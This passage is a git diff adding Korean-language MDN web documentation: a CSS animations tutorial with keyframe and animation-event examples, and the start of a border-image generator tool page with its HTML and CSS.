+ <dd>한 싸이클의 애니메이션이 얼마에 걸쳐 일어날지 지정합니다.</dd>
+ <dt>{{ cssxref("animation-iteration-count") }}</dt>
+ <dd>애니메이션이 몇 번 반복될지 지정합니다. <code>infinite</code>로 지정하여 무한히 반복할 수 있습니다.</dd>
+ <dt>{{ cssxref("animation-name") }}</dt>
+ <dd>이 애니메이션의 중간 상태를 지정합니다. 중간 상태는  {{ cssxref("@keyframes") }} 규칙을 이용하여 기술합니다.</dd>
+ <dt>{{ cssxref("animation-play-state") }}</dt>
+ <dd>애니메이션을 멈추거나 다시 시작할 수 있습니다.</dd>
+ <dt>{{ cssxref("animation-timing-function") }}</dt>
+ <dd>중간 상태들의 전환을 어떤 시간간격으로 진행할지 지정합니다.</dd>
+ <dt>{{ cssxref("animation-fill-mode") }}</dt>
+ <dd>애니메이션이 시작되기 전이나 끝나고 난 후 어떤 값이 적용될지 지정합니다.</dd>
+</dl>
+
+<h2 id="키프레임을_이용하여_애니메이션의_중간상태_기술하기">키프레임을 이용하여 애니메이션의 중간상태 기술하기</h2>
+
+<p>애니메이션의 중간 상태를 기술해 봅시다. {{ cssxref("@keyframes") }} 규칙을 이용해서 두개 이상의 중간 상태를 기술합니다. 각 중간 상태는 특정 시점에 엘리먼트가 어떻게 보일지 나타냅니다. </p>
+
+<p>CSS 스타일을 이용해 중간 상태에 어떻게 보일지 정의했다면 이 중간 상태가 전체 애니메이션에서 언제 등장할 지 {{ cssxref("percentage") }} 를 이용해 지정합니다. 0%는 애니메이션이 시작된 시점을 의미하고 100%는 애니메이션이 끝나는 시점을 의미합니다. 최소한 이 두 시점은 기술되어야 브라우저가 언제 애니메이션이 시작되고 끝나는지 알 수 있습니다. 0%와 100% 대신 <code>from</code> 과 <code>to</code>로 사용할 수도 있습니다.</p>
+
+<p>시작 시점과 종료 시점 사이의 특정 시점에도 중간 상태를 지정할 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<div class="note"><strong>노트:</strong> 다음 예제들은 애니메이션 CSS 속성에 접두어가 사용되지 않았습니다(역자: -webkit-, -moz- 등). 오래된 브라우저는 접두어가 필요합니다. </div>
+
+<h3 id="텍스트가_브라우저를_가로질러_움직이게_하기">텍스트가 브라우저를 가로질러 움직이게 하기</h3>
+
+<p>다음 단순한 예제에서 {{ HTMLElement("p") }} 엘리먼트가 브라우저 윈도우 오른쪽에서 왼쪽으로 가로질러 움직이는걸 볼 수 있습니다.</p>
+
+<pre class="brush: css">p {
+  animation-duration: 3s;
+  animation-name: slidein;
+}
+
+@keyframes slidein {
+  from {
+    margin-left: 100%;
+    width: 300%
+  }
+
+  to {
+    margin-left: 0%;
+    width: 100%;
+  }
+}
+</pre>
+
+<p>{{ HTMLElement("p") }} 엘리먼트에 지정한 CSS 규칙에서 {{ cssxref("animation-duration") }} 속성을 통해 애니메이션의 총 길이는 3초로 지정했습니다. 또 애니메이션의 중간 상태들을 {{ cssxref("@keyframes") }} 규칙을 사용하여 기술하고 이것들에게 slidein라는 이름을 붙였습니다.  그리고 p 엘리먼트에 slidein이라는 애니메이션을 지정했습니다.</p>
+
+<p>CSS 애니메이션을 지원하지 않는 브라우저를 위하여 {{ HTMLElement("p") }} 에 특정 스타일을 지정하고 싶다면 그러셔도 됩니다. 여기서도 그렇게 할 수 있으나 이 예제에서는 애니메이션 효과만을 보기위해 지정하지 않았습니다. </p>
+
+<p>애니메이션의 중간 상태는 {{ cssxref("@keyframes") }} 규칙을 이용하여 기술합니다. 이 경우에서는 두개의 중간 상태를 기술했습니다. 첫 번째 중간 상태는 애니메이션이 시작되고 나서 0% 시점에 (<code>from</code><span style="font-family: courier new,andale mono,monospace;">키워드를 사용해도 됩니다) 왼쪽 마진을 100%로 지정하는 것입니다. 왼쪽 마진을 100%로 지정했으므로 애니메이션이 시작된 시점에 브라우저 윈도우 오른쪽 모서리에 엘리먼트가 그려집니다.</span></p>
+
+<p>두번째 중간 상태는 애니메이션이 시작되고나서 100% (<span style="font-family: courier new,andale mono,monospace;">to키워드를 사용해도 됩니다)시점에 왼쪽 마진을 0%으로 지정하는 것입니다. 따라서 애니메이션 마지막에는 엘리먼트가 브라우저 윈도우의 왼쪽 모서리에 그려집니다.</span></p>
+
+
+<pre class="brush: html">&lt;p&gt;The Caterpillar and Alice looked at each other for some time in silence:
+at last the Caterpillar took the hookah out of its mouth, and addressed
+her in a languid, sleepy voice.&lt;/p&gt;
+</pre>
+
+<p>{{EmbedLiveSample("텍스트가_브라우저를_가로질러_움직이게_하기","100%","250")}}</p>
+
+<h3 id="중간_상태_추가하기">중간 상태 추가하기</h3>
+
+<p>이전 예제의 애니메이션에서 중간 상태를 추가해 봅시다. 왼쪽에서 오른쪽으로 엘리먼트가 움직일 때 글자 크기가 커지다가 다시 원래대로 줄어들게 해봅시다. 다음과 같은 중간 상태를 추가하면 됩니다.</p>
+
+<pre class="brush: css">75% {
+  font-size: 300%;
+  margin-left: 25%;
+  width: 150%;
+}
+</pre>
+<pre class="brush: css hidden">p {
+  animation-duration: 3s;
+  animation-name: slidein;
+}
+
+@keyframes slidein {
+  from {
+    margin-left: 100%;
+    width: 300%;
+  }
+
+  to {
+    margin-left: 0%;
+    width: 100%;
+  }
+}
+</pre>
+
+<pre class="brush: html hidden">&lt;p&gt;The Caterpillar and Alice looked at each other for some time in silence:
+at last the Caterpillar took the hookah out of its mouth, and addressed
+her in a languid, sleepy voice.&lt;/p&gt;
+</pre>
+
+<p>애니메이션의 75% 시점에서 엘리먼트의 왼쪽 마진을 25%, 너비를 150%, 글자 크기를 300%로 지정하라는 의미입니다.</p>
+
+<p>{{EmbedLiveSample("중간_상태_추가하기","100%","250")}}</p>
+
+<h3 id="애니메이션_반복하기">애니메이션 반복하기</h3>
+
+<p>애니메이션을 반복하고 싶다면 {{ cssxref("animation-iteration-count") }} 속성을 사용하면 됩니다. 이 속성으로 애니메이션이 몇 번 반복될지 지정할 수 있습니다. 이 예제에서는 <code>infinite</code> 라는 값을 지정하여 무한히 반복되게 해 봅시다.</p>
+
+<pre class="brush: css">p {
+  animation-duration: 3s;
+  animation-name: slidein;
+  animation-iteration-count: infinite;
+}
+</pre>
+
+<pre class="brush: css hidden">@keyframes slidein {
+  from {
+    margin-left: 100%;
+    width: 300%;
+  }
+
+  to {
+    margin-left: 0%;
+    width: 100%;
+  }
+}
+</pre>
+
+<pre class="brush: html hidden">&lt;p&gt;The Caterpillar and Alice looked at each other for some time in silence:
+at last the Caterpillar took the hookah out of its mouth, and addressed
+her in a languid, sleepy voice.&lt;/p&gt;
+</pre>
+
+<p>{{EmbedLiveSample("애니메이션_반복하기","100%","250")}}</p>
+
+<h3 id="앞뒤로_움직이기">앞뒤로 움직이기</h3>
+
+<p>앞에서 애니메이션이 반복되는걸 보셨을 겁니다. 그런데 애니메이션이 끝나고 갑자기 오른쪽 모서리로 돌아가는게 어색합니다. 애니메이션이 끝났을 때 반대방향으로 이동하도록 만들어 봅시다. {{ cssxref("animation-direction") }} 속성을 <code>alternate</code>로 지정하면 됩니다.</p>
+
+<pre class="brush: css">p {
+  animation-duration: 3s;
+  animation-name: slidein;
+  animation-iteration-count: infinite;
+  animation-direction: alternate;
+}
+</pre>
+
+<pre class="brush: css hidden">@keyframes slidein {
+  from {
+    margin-left: 100%;
+    width: 300%;
+  }
+
+  to {
+    margin-left: 0%;
+    width: 100%;
+  }
+}
+</pre>
+
+<pre class="brush: html hidden">&lt;p&gt;The Caterpillar and Alice looked at each other for some time in silence:
+at last the Caterpillar took the hookah out of its mouth, and addressed
+her in a languid, sleepy voice.&lt;/p&gt;
+</pre>
+
+<p>{{EmbedLiveSample("앞뒤로_움직이기","100%","250")}}</p>
+
+<h3 id="애니메이션_이벤트_사용하기">애니메이션 이벤트 사용하기</h3>
+
+<p>애니메이션 이벤트를 이용하여 애니메이션을 조종할 수 있습니다. {{ domxref("event/AnimationEvent", "AnimationEvent") }} 로 나타내어지는 애니메이션 이벤트를 사용하여 애니메이션의 시작, 끝, 새로운 반복의 시작등을 감지할 수 있습니다. 이벤트가 발생할 때마다 이벤트의 종류와 어떤 애니메이션에서 발생한 것인지 알 수도 있습니다.</p>
+
+<p>위의 움직이는 글자 예제를 수정하여 애니메이션 이벤트를 어떻게 사용하는지 알아봅시다. </p>
+
+<pre class="brush: css">.slidein {
+  -moz-animation-duration: 3s;
+  -webkit-animation-duration: 3s;
+  animation-duration: 3s;
+  -moz-animation-name: slidein;
+  -webkit-animation-name: slidein;
+  animation-name: slidein;
+  -moz-animation-iteration-count: 3;
+  -webkit-animation-iteration-count: 3;
+  animation-iteration-count: 3;
+  -moz-animation-direction: alternate;
+  -webkit-animation-direction: alternate;
+  animation-direction: alternate;
+}
+
+@-moz-keyframes slidein {
+  from {
+    margin-left:100%;
+    width:300%
+  }
+
+  to {
+    margin-left:0%;
+    width:100%;
+  }
+}
+
+@-webkit-keyframes slidein {
+  from {
+    margin-left:100%;
+    width:300%
+  }
+
+  to {
+   margin-left:0%;
+   width:100%;
+ }
+}
+
+@keyframes slidein {
+  from {
+    margin-left:100%;
+    width:300%
+  }
+
+  to {
+   margin-left:0%;
+   width:100%;
+ }
+}</pre>
+<h4 id="애니메이션_이벤트_리스너_추가하기">애니메이션 이벤트 리스너 추가하기</h4>
+
+<p>자바스크립트 코드를 사용하여 위에서 언급한 세개의 이벤트를 감지해 봅시다. <code>setup()</code> 함수는 애니메이션 이벤트 리스너를 추가하는 함수입니다. 문서가 로드되었을 때 이 함수를 실행할 것입니다.</p>
+
+<pre class="brush: js">function setup() {
+  var e = document.getElementById("watchme");
+  e.addEventListener("animationstart", listener, false);
+  e.addEventListener("animationend", listener, false);
+  e.addEventListener("animationiteration", listener, false);
+
+  var e = document.getElementById("watchme");
+  e.className = "slidein";
+}
+</pre>
+
+<p>어떻게 동작하는지 더 자세히 알고싶으면 {{ domxref("element.addEventListener()") }} 문서를 참고하세요. setup() 함수의 마지막 줄에서 엘리먼트의 <code>class</code> 를 "slidein"으로 지정하는 순간 애니메이션이 시작됩니다.</p>
+
+<p>왜 이렇게 했을까요? 왜냐하면 <code>animationstart</code> 이벤트는 애니메이션이 시작되자마자 발생하므로 우리 코드에서는 이를 감지할 수 없습니다. 애니메이션이 시작될 때는 위의 코드가 실행되기 전이라 이벤트 리스너가 아직 추가되지 않았기 때문이지요. 따라서 이벤트 리스너를 먼저 추가하고 엘리먼트에 class를 지정하여 애니메이션을 시작했습니다.</p>
+
+<h4 id="이벤트_받기">이벤트 받기</h4>
+
+<p>각 이벤트가 발생할 때마다 <code>listener()</code> 함수로 넘겨집니다. 이 함수의 코드는 아래와 같습니다.</p>
+
+<pre class="brush: js">function listener(e) {
+  var l = document.createElement("li");
+  switch(e.type) {
+    case "animationstart":
+      l.innerHTML = "Started: elapsed time is " + e.elapsedTime;
+      break;
+    case "animationend":
+      l.innerHTML = "Ended: elapsed time is " + e.elapsedTime;
+      break;
+    case "animationiteration":
+      l.innerHTML = "New loop started at time " + e.elapsedTime;
+      break;
+  }
+  document.getElementById("output").appendChild(l);
+}
+</pre>
+
+<p>이 코드 역시 굉장히 단순합니다. {{ domxref("event.type") }} 을 보고 어떤 이벤트가 발생했는지 확인합니다. 그리고 {{ HTMLElement("ul") }} (순서 없는 리스트)에 그 이벤트의 로그를 나타내는 엘리먼트를 추가합니다.</p>
+
+<p>결과는 다음과 같습니다.</p>
+
+<ul>
+ <li>Started: elapsed time is 0</li>
+ <li>New loop started at time 3.01200008392334</li>
+ <li>New loop started at time 6.00600004196167</li>
+ <li>Ended: elapsed time is 9.234000205993652</li>
+</ul>
+
+<p>이벤트가 발생한 시각이 위에서 지정한 애니메이션 시간과 굉장히 가깝지만 정확히 같지는 않다는걸 기억하세요. 또 애니메이션의 반복이 끝나는 순간에는  <code>animationiteration</code> 이벤트가 발생하지 않고 <code>animationend</code> 이벤트가 발생했다는걸 기억하세요.</p>
+
+<h4 id="HTML_코드">HTML 코드 </h4>
+
+<p>완벽을 위해 예제에서 사용한 HTML 코드도 첨부합니다. 여기에는 페이지 내용뿐만 아니라 이벤트 로깅을 위한 ul 엘리먼트도 있습니다. </p>
+
+<pre class="brush: html">&lt;body onload="setup()"&gt;
+  &lt;h1 id="watchme"&gt;Watch me move&lt;/h1&gt;
+  &lt;p&gt;This example shows how to use CSS animations to make &lt;code&gt;h1&lt;/code&gt; elements
+  move across the page.&lt;/p&gt;
+  &lt;p&gt;In addition, we output some text each time an animation event fires, so you can see them in action.&lt;/p&gt;
+  &lt;ul id="output"&gt;
+  &lt;/ul&gt;
+&lt;/body&gt;
+</pre>
+
+<p>{{EmbedLiveSample('애니메이션_이벤트_사용하기', '600', '300')}}</p>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li>{{ domxref("AnimationEvent", "AnimationEvent") }}</li>
+ <li><a href="/en-US/docs/CSS/CSS_animations/Detecting_CSS_animation_support" title="en/CSS/CSS animations/Detecting CSS animation support">Detecting CSS animation support</a></li>
+</ul>
diff --git a/files/ko/web/css/css_background_and_borders/border-image_generator/index.html b/files/ko/web/css/css_background_and_borders/border-image_generator/index.html
new file mode 100644
index 0000000000..01ae23c400
--- /dev/null
+++ b/files/ko/web/css/css_background_and_borders/border-image_generator/index.html
@@ -0,0 +1,2627 @@
+---
+title: Border-image 생성기
+slug: Web/CSS/CSS_Background_and_Borders/Border-image_generator
+tags:
+  - CSS
+  - CSS Borders
+  - Tools
+translation_of: Web/CSS/CSS_Background_and_Borders/Border-image_generator
+---
+<p>이 도구를 사용해 CSS3 {{cssxref("border-image")}} 값을 생성할 수 있습니다.</p>
+
+<div style="display: none;">
+<h2 id="Border_Image_Generator" name="Border_Image_Generator">Border Image Generator</h2>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html">    &lt;div id="container"&gt;
+
+        &lt;div id="gallery"&gt;
+            &lt;div id="image-gallery"&gt;
+                &lt;img class="image" src="https://mdn.mozillademos.org/files/6007/border-image-1.png" data-stateID="border1"/&gt;
+                &lt;img class="image" src="https://mdn.mozillademos.org/files/6009/border-image-2.png" data-stateID="border2"/&gt;
+                &lt;img class="image" src="https://mdn.mozillademos.org/files/6011/border-image-3.png" data-stateID="border3"/&gt;
+                &lt;img class="image" src="https://mdn.mozillademos.org/files/6013/border-image-4.png" data-stateID="border4"/&gt;
+                &lt;img class="image" src="https://mdn.mozillademos.org/files/6015/border-image-5.png" data-stateID="border5"/&gt;
+                &lt;img class="image" src="https://mdn.mozillademos.org/files/6017/border-image-6.svg" data-stateID="border6"/&gt;
+            &lt;/div&gt;
+        &lt;/div&gt;
+
+        &lt;div id="load-actions" class="group section"&gt;
+            &lt;div id="toggle-gallery" data-action="hide"&gt; &lt;/div&gt;
+            &lt;div id="load-image" class="button"&gt; Upload image &lt;/div&gt;
+            &lt;input id="remote-url" type="text" placeholder="Load an image from URL"/&gt;
+            &lt;div id="load-remote" class="button"&gt; &lt;/div&gt;
+        &lt;/div&gt;
+
+        &lt;div id="general-controls" class="group section"&gt;
+            &lt;div class="name"&gt; Control Box &lt;/div&gt;
+            &lt;div class="separator"&gt;&lt;/div&gt;
+            &lt;div class="property"&gt;
+                &lt;div class="name"&gt;scale&lt;/div&gt;
+                &lt;div class="ui-input-slider" data-topic="scale"
+                    data-unit="%" data-max="300" data-sensivity="10"&gt;
+                &lt;/div&gt;
+            &lt;/div&gt;
+            &lt;div class="separator"&gt;&lt;/div&gt;
+            &lt;div class="property"&gt;
+                &lt;div class="name"&gt;draggable&lt;/div&gt;
+                &lt;div class="ui-checkbox" data-topic='drag-subject'&gt;&lt;/div&gt;
+            &lt;/div&gt;
+            &lt;div class="property right"&gt;
+                &lt;div class="name"&gt;section height&lt;/div&gt;
+                &lt;div class="ui-input-slider" data-topic="preview-area-height"
+                    data-min="400" data-max="1000"&gt;
+                &lt;/div&gt;
+            &lt;/div&gt;
+        &lt;/div&gt;
+
+        &lt;div id="preview_section" class="group section"&gt;
+            &lt;div id="subject"&gt;
+                &lt;div class="guideline" data-axis="Y" data-topic="slice-top"&gt;&lt;/div&gt;
+                &lt;div class="guideline" data-axis="X" data-topic="slice-right"&gt;&lt;/div&gt;
+                &lt;div class="guideline" data-axis="Y" data-topic="slice-bottom"&gt;&lt;/div&gt;
+                &lt;div class="guideline" data-axis="X" data-topic="slice-left"&gt;&lt;/div&gt;
+            &lt;/div&gt;
+            &lt;div id="preview"&gt; &lt;/div&gt;
+        &lt;/div&gt;
+
+        &lt;!-- controls --&gt;
+        &lt;div id="controls" class="group section"&gt;
+
+            &lt;!-- border-image-slice --&gt;
+            &lt;div id="border-slice-control" class="category"&gt;
+                &lt;div class="title"&gt; border-image-slice &lt;/div&gt;
+                &lt;div class="property"&gt;
+                    &lt;div class="name"&gt;fill&lt;/div&gt;
+                    &lt;div class="ui-checkbox" data-topic='slice-fill'&gt;&lt;/div&gt;
+                &lt;/div&gt;
+            &lt;/div&gt;
+
+            &lt;!-- border-image-width --&gt;
+            &lt;div id="border-width-control" class="category"&gt;
+                &lt;div class="title"&gt; border-image-width &lt;/div&gt;
+            &lt;/div&gt;
+
+            &lt;!-- border-image-outset --&gt;
+            &lt;div id="border-outset-control" class="category"&gt;
+                &lt;div class="title"&gt; border-image-outset &lt;/div&gt;
+            &lt;/div&gt;
+
+            &lt;!-- other-settings --&gt;
+            &lt;div id="aditional-properties" class="category"&gt;
+                &lt;div class="title"&gt; aditional-properties &lt;/div&gt;
+                &lt;div class="property"&gt;
+                    &lt;div class="name"&gt; repeat-x &lt;/div&gt;
+                    &lt;div class="ui-dropdown border-repeat" data-topic="image-repeat-X" data-selected="2"&gt;
+                        &lt;div data-value="0"&gt;repeat&lt;/div&gt;
+                        &lt;div data-value="0"&gt;stretch&lt;/div&gt;
+                        &lt;div data-value="0"&gt;round&lt;/div&gt;
+                    &lt;/div&gt;
+                &lt;/div&gt;
+                &lt;div class="property"&gt;
+                    &lt;div class="name"&gt; repeat-y &lt;/div&gt;
+                    &lt;div class="ui-dropdown border-repeat" data-topic="image-repeat-Y" data-selected="2"&gt;
+                        &lt;div data-value="1"&gt;repeat&lt;/div&gt;
+                        &lt;div data-value="1"&gt;stretch&lt;/div&gt;
+                        &lt;div data-value="1"&gt;round&lt;/div&gt;
+                    &lt;/div&gt;
+                &lt;/div&gt;
+                &lt;div class="property"&gt;
+                    &lt;div class="ui-input-slider" data-topic="font-size" data-info="em size"
+                        data-unit="px" data-value="12" data-sensivity="3"&gt;
+                    &lt;/div&gt;
+                &lt;/div&gt;
+
+                &lt;div class="property"&gt;
+                    &lt;div class="ui-input-slider" data-topic="preview-width" data-info="width"
+                         data-unit=" px" data-min="10" data-max="10000" data-sensivity="3"&gt;&lt;/div&gt;
+                &lt;/div&gt;
+                &lt;div class="property"&gt;
+                    &lt;div class="ui-input-slider" data-topic="preview-height" data-info="height"
+                        data-unit=" px" data-min="10" data-max="10000" data-sensivity="3"&gt;
+                    &lt;/div&gt;
+                &lt;/div&gt;
+            &lt;/div&gt;
+
+
+            &lt;div id="output" class="category"&gt;
+                &lt;div class="title"&gt; CSS Code &lt;/div&gt;
+                &lt;div class="css-property"&gt;
+                    &lt;span class="name"&gt; border-image-slice: &lt;/span&gt;
+                    &lt;span id="out-border-slice" class="value"&gt; &lt;/span&gt;
+                &lt;/div&gt;
+                &lt;div class="css-property"&gt;
+                    &lt;span class="name"&gt; border-image-width: &lt;/span&gt;
+                    &lt;span id="out-border-width" class="value"&gt; &lt;/span&gt;
+                &lt;/div&gt;
+                &lt;div class="css-property"&gt;
+                    &lt;span class="name"&gt; border-image-outset: &lt;/span&gt;
+                    &lt;span id="out-border-outset" class="value"&gt; &lt;/span&gt;
+                &lt;/div&gt;
+                &lt;div class="css-property"&gt;
+                    &lt;span class="name"&gt; border-image-repeat: &lt;/span&gt;
+                    &lt;span id="out-border-repeat" class="value"&gt; &lt;/span&gt;
+                &lt;/div&gt;
+                &lt;div class="css-property"&gt;
+                    &lt;span class="name"&gt; border-image-source: &lt;/span&gt;
+                    &lt;span id="out-border-source" class="value"&gt;  &lt;/span&gt;
+                &lt;/div&gt;
+            &lt;/div&gt;
+
+        &lt;/div&gt;
+    &lt;/div&gt;</pre>
+
+<h3 id="CSS_Content">CSS Content</h3>
+
+<pre class="brush: css">/*  GRID OF TWELVE
+ * ========================================================================== */
+
+.span_12 {
+	width: 100%;
+}
+
+.span_11 {
+	width: 91.46%;
+}
+
+.span_10 {
+	width: 83%;
+}
+
+.span_9 {
+	width: 74.54%;
+}
+
+.span_8 {
+	width: 66.08%;
+}
+
+.span_7 {
+	width: 57.62%;
+}
+
+.span_6 {
+	width: 49.16%;
+}
+
+.span_5 {
+	width: 40.7%;
+}
+
+.span_4 {
+	width: 32.24%;
+}
+
+.span_3 {
+	width: 23.78%;
+}
+
+.span_2 {
+	width: 15.32%;
+}
+
+.span_1 {
+	width: 6.86%;
+}
+
+
+/*  SECTIONS
+ * ========================================================================== */
+
+.section {
+	clear: both;
+	padding: 0px;
+	margin: 0px;
+}
+
+/*  GROUPING
+ * ========================================================================== */
+
+
+.group:before, .group:after {
+    content: "";
+    display: table;
+}
+
+.group:after {
+    clear:both;
+}
+
+.group {
+    zoom: 1; /* For IE 6/7 (trigger hasLayout) */
+}
+
+/*  GRID COLUMN SETUP
+ * ========================================================================== */
+
+.col {
+	display: block;
+	float:left;
+	margin: 1% 0 1% 1.6%;
+}
+
+.col:first-child {
+	margin-left: 0;
+} /* all browsers except IE6 and lower */
+
+
+
+/*
+ * UI Component
+ */
+
+.ui-input-slider {
+	height: 20px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	-moz-user-select: none;
+	user-select: none;
+}
+
+.ui-input-slider * {
+	float: left;
+	height: 100%;
+	line-height: 100%;
+}
+
+/* Input Slider */
+
+.ui-input-slider &gt; input {
+	margin: 0;
+	padding: 0;
+	width: 50px;
+	text-align: center;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ui-input-slider-info {
+	width: 90px;
+	padding: 0px 10px 0px 0px;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-left, .ui-input-slider-right {
+	width: 16px;
+	cursor: pointer;
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat;
+}
+
+.ui-input-slider-right {
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat;
+}
+
+.ui-input-slider-name {
+	width: 90px;
+	padding: 0 10px 0 0;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-btn-set {
+	width: 25px;
+	background-color: #2C9FC9;
+	border-radius: 5px;
+	color: #FFF;
+	font-weight: bold;
+	line-height: 14px;
+	text-align: center;
+}
+
+.ui-input-slider-btn-set:hover {
+	background-color: #379B4A;
+	cursor: pointer;
+}
+
+/*************************************************************************************/
+/*************************************************************************************/
+
+/*
+ * UI DropDown
+ */
+
+/* Dropdown */
+
+.ui-dropdown {
+	height: 2em;
+	width: 120px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	font-size: 12px;
+
+	background-image: url("https://mdn.mozillademos.org/files/6037/drop_arrow_icon.png");
+	background-position: right center;
+	background-repeat: no-repeat;
+	background-color: #359740;
+
+	position: relative;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.ui-dropdown:hover {
+	cursor: pointer;
+	background-color: #208B20;
+}
+
+/* Dropdown Select Button */
+
+.ui-dropdown-select {
+	height: inherit;
+	padding: 0 0.75em;
+	color: #FFF;
+	line-height: 2em;
+}
+
+/* Dropdown List */
+
+.ui-dropdown-list {
+	width: 100%;
+	height: 150px;
+	max-height: 150px;
+	margin: 0;
+	padding: 0 0.3em;
+
+	border: 3px solid #3490D2;
+	border-color: #208B20;
+	background: #666;
+	background-color: #EEF1F5;
+	color: #000;
+
+	position: absolute;
+	top: 2em;
+	left: 0;
+	z-index: 100;
+
+	overflow: hidden;
+	transition: all 0.3s;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ui-dropdown-list:hover {
+	overflow: auto;
+}
+
+.ui-dropdown-list[data-hidden='true'] {
+	height: 0 !important;
+	opacity: 0;
+	visibility: hidden;
+}
+
+.ui-dropdown[data-position='left'] .ui-dropdown-list {
+	left: -100%;
+	top: 0;
+}
+
+.ui-dropdown[data-position='right'] .ui-dropdown-list {
+	left: 100%;
+	top: 0;
+}
+
+.ui-dropdown-list &gt; div {
+	width: 100%;
+	height: 1.6em;
+	margin: 0.3em 0;
+	padding: 0.3em;
+	line-height: 1em;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ui-dropdown-list &gt; div:hover {
+	background: #3490D2;
+	color:#FFF;
+	border-radius: 2px;
+	cursor: pointer;
+}
+
+
+/*************************************************************************************/
+/*************************************************************************************/
+
+/*
+ * UI Button
+ */
+
+/* Checkbox */
+
+.ui-checkbox {
+	text-align: center;
+	font-size: 16px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	line-height: 1.5em;
+	color: #FFF;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.ui-checkbox &gt; input {
+ 	display: none;
+}
+
+.ui-checkbox &gt; label {
+	font-size: 12px;
+	padding: 0.333em 1.666em 0.5em;
+	height: 1em;
+	line-height: 1em;
+
+	background-color: #888;
+	background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+
+	color: #FFF;
+	border-radius: 2px;
+	font-weight: bold;
+	float: left;
+}
+
+.ui-checkbox .text {
+	padding-left: 34px;
+	background-position: center left 10px;
+}
+
+.ui-checkbox .left {
+	padding-right: 34px;
+	padding-left: 1.666em;
+	background-position: center right 10px;
+}
+
+.ui-checkbox &gt; label:hover {
+	cursor: pointer;
+}
+
+.ui-checkbox &gt; input:checked + label {
+	background-image: url("https://mdn.mozillademos.org/files/5681/checked.png");
+	background-color: #379B4A;
+}
+
+/*************************************************************************************/
+/*************************************************************************************/
+
+/*
+ * BORDER IMAGE GENERATOR TOOL
+ */
+
+body {
+	width: 100%;
+	margin: 0 auto;
+	padding: 0 0 20px 0;
+
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+
+	/*background: url("https://mdn.mozillademos.org/files/6025/grain.png");*/
+	border: 1px solid #EEE;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+body[data-move='X'] {
+	cursor: w-resize !important;
+}
+
+body[data-move='Y'] {
+	cursor: s-resize !important;
+}
+
+#container {
+	width: 100%;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+[data-draggable='true']:hover {
+	cursor: move;
+}
+
+[data-draggable='true']:hover &gt; * {
+	cursor: default;
+}
+
+
+
+/******************************************************************************/
+/******************************************************************************/
+
+/*
+ * Border Image Picker
+ */
+
+#gallery {
+	box-shadow: 0 0 3px 0 #BABABA;
+}
+
+#image-gallery {
+	width: 600px;
+	height: 100px;
+	margin: 0 auto;
+	transition: margin 0.4s;
+}
+
+#image-gallery .image {
+	height: 80px;
+	float: left;
+	margin: 10px;
+	opacity: 0.5;
+	background-color: #FFF;
+	box-shadow: 0px 0px 3px 1px #BABABA;
+}
+
+#image-gallery .image[selected="true"] {
+	box-shadow: 0px 0px 3px 1px #3BBA52;
+	opacity: 1;
+}
+
+#image-gallery .image:hover {
+	cursor: pointer;
+	box-shadow: 0px 0px 3px 1px #30ACE5;
+	opacity: 1;
+}
+
+#image-gallery[data-collapsed='true'] {
+	margin-top: -100px;
+}
+
+/* Load Menu */
+
+#load-actions {
+	margin: 10px 0;
+}
+
+#toggle-gallery {
+	width: 30px;
+	height: 25px;
+	margin: 10px;
+	color: #FFF;
+
+	background-image: url('https://mdn.mozillademos.org/files/6005/arrow-up-white.png');
+	background-repeat: no-repeat;
+	background-position: top 4px center;
+	background-color: #888888 !important;
+
+	border-radius: 2px;
+	float: left;
+}
+
+#toggle-gallery:hover {
+	cursor: pointer;
+}
+
+#toggle-gallery[data-action='show'] {
+	background-image: url('https://mdn.mozillademos.org/files/6001/arrow-down-white.png');
+	background-color: #888888 !important;
+}
+
+#toggle-gallery[data-action='hide'] {
+	background-image: url('https://mdn.mozillademos.org/files/6005/arrow-up-white.png');
+}
+
+.button {
+	width: 100px;
+	height: 25px;
+	margin: 10px;
+	color: #FFF;
+	text-align: center;
+	font-size: 12px;
+	line-height: 25px;
+	background-color: #379B4A;
+	border-radius: 2px;
+	float: left;
+}
+
+.button:hover {
+	cursor: pointer;
+	background-color: #3380C4;
+}
+
+#load-image {
+	float: left;
+}
+
+#load-remote {
+	width: 30px;
+	background-image: url('https://mdn.mozillademos.org/files/6003/arrow-right-white.png');
+	background-repeat: no-repeat;
+	background-position: center center;
+}
+
+#remote-url {
+	width: 200px;
+	height: 23px;
+	margin: 10px;
+	padding: 0 5px;
+	border: 1px solid #379B4A;
+	border-radius: 2px;
+	float: left;
+
+	transition: width 0.5s;
+}
+
+#remote-url:focus {
+	box-shadow: 0px 0px 3px -1px #379B4A; /*#68ACE8; */
+	border-color: rgba(55, 155, 74, 0.5);
+	width: 450px;
+}
+
+/*
+ * Visible Area
+ */
+
+#preview_section {
+	position: relative;
+	min-height: 400px;
+}
+
